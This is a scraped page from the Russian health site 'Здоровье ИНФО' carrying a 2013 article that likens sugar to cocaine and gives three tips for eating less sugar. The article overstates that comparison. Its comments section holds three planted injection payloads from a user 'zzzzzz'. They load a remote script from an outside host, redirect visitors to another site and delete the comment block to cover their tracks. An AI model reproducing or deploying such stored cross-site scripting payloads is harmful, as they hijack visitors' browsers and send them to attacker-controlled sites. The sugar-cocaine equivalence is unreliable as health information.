Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Сахар делает с мозгом то ...  >>  Сахар делает с мозгом то же, что кокаин
 
Обратная связь
 

Сахар делает с мозгом то же, что кокаин

Размер шрифта
20 сентября 2013 00:00
Юрий Малышев
Здоровье инфо
Александр Чистяков
Здоровье инфо
  • google_analytics: false
  • Нравится

Относитесь с презрительной брезгливостью к наркоманам? Но, оказывается, вы тоже наркоман! Ваш наркотик легальный и доступный в любом магазине!

Сахар делает с мозгом то же, что кокаин

Кокаин приводит к выбросу молекул «радости» в мозге (серотонина, дофамина и других). В результате человек испытывает целую гамму приятных чувств. Но со временем развивается зависимость, вынуждающая людей переходить все грани и границы в поисках дозы. И чем дальше – тем  мрачнее, потому как рецепторы в мозге ненасытны и легко пресыщаются: им нужно все больше и больше стимулирующих веществ. И не нужно быть наркоманом, чтобы попасть в эту петлю. Сахар является аналогичным капканом.

Картина абсолютно такая же: сначала вы кушаете сладенькое, и мозг радуется (выделились «гормоны счастья»). Со временем, чувствительность рецепторов снижается, и вам уже мало одной конфетки – вы съедаете целую упаковку за чайком в обеденный перерыв. Знакомая ситуация?

Люди не одинаковы в своей ненасытности к сладкому, и прямо сейчас ученые изучают молекулярные механизмы этого явления на животных моделях. Они убеждены, что результаты их работы позволят понять, почему масштабы ожирения в мире неуклонно растут.

Пока же мотайте на ус три способа контролировать потребление сахара:

1. Избегайте обработанного (белого) сахара

Простые сахара входят в состав пирожков, хлебобулочных изделий из муки высшего сорта, газировки и многих других продуктов. Они крайне быстро усваиваются нашим организмом, который стремительно начинает требовать добавки. Но это не единственная проблема: простые сахара наносят прямой вред сами по себе. Скажем, они повреждают сосудистую стенку (привет, атеросклероз!) и нарушают чувствительность тканей к инсулину.

2. Пробуйте разные десерты

Нас с детства приучают к тому, что после приема пищи мы будем вознаграждены десертом. Но ведь в качестве оного совсем необязательно должен выступать сладкий пирог или плошка с мороженым. Попробуйте съесть фруктовый салат с орехами, например.

3. Будьте внимательны к своей еде

Невозможно снизить потребление сахара, если вы не в курсе, сколько его содержится в том или ином блюде. Читайте про пищевую ценность продуктов, которыми вы наслаждаетесь каждый день. Возможно, вы будете удивлены тем, что в обезжиренном йогурте и соусе барбекю содержится преизрядное количество сахара. Поэтому будьте бдительны, читайте состав продуктов и не торопитесь съедать какой-нибудь банальный батончик целиком – разделите его на порции! Таким образом, вы не только снизите количество потребляемого сахара, но и получите большее удовольствие. Ведь мы всегда очень ценим то, чего мало.

Все о сахаре в нашем специальном проекте «Сахарный диабет».

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

30 июня 2015 в 19:04

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

2 - zzzzzz

30 июня 2015 в 19:24

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 23:03

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Зависимость от кокаина больше не страшна. Создана первая в мире вакцина от наркотика!   Марихуана – лучшее средство для бесплодия!   Мифы и правда о кариесе   Сохранять молодость – значит делать выбор в пользу здорового питания  
04 июля 2013Героин станет безопасным! Изобретена вакцина от героиновой зависимости 19 июня 2013Зависимость от кокаина больше не страшна. Создана первая в мире вакцина от наркотика!
 
01 ноября 2013ИНВИТРО – «Марка №1» в России 21 октября 2013ИНВИТРО открыла центр лучевой диагностики «ИНВИТРО.Эксперт»
 

Слайдшоу

1
Как побороть зависимость от сахара
Заставь свою печень работать
3 продукта, которые нельзя есть, если хотите оставаться молодым

Тесты

1
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Как устроены волосы человека?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.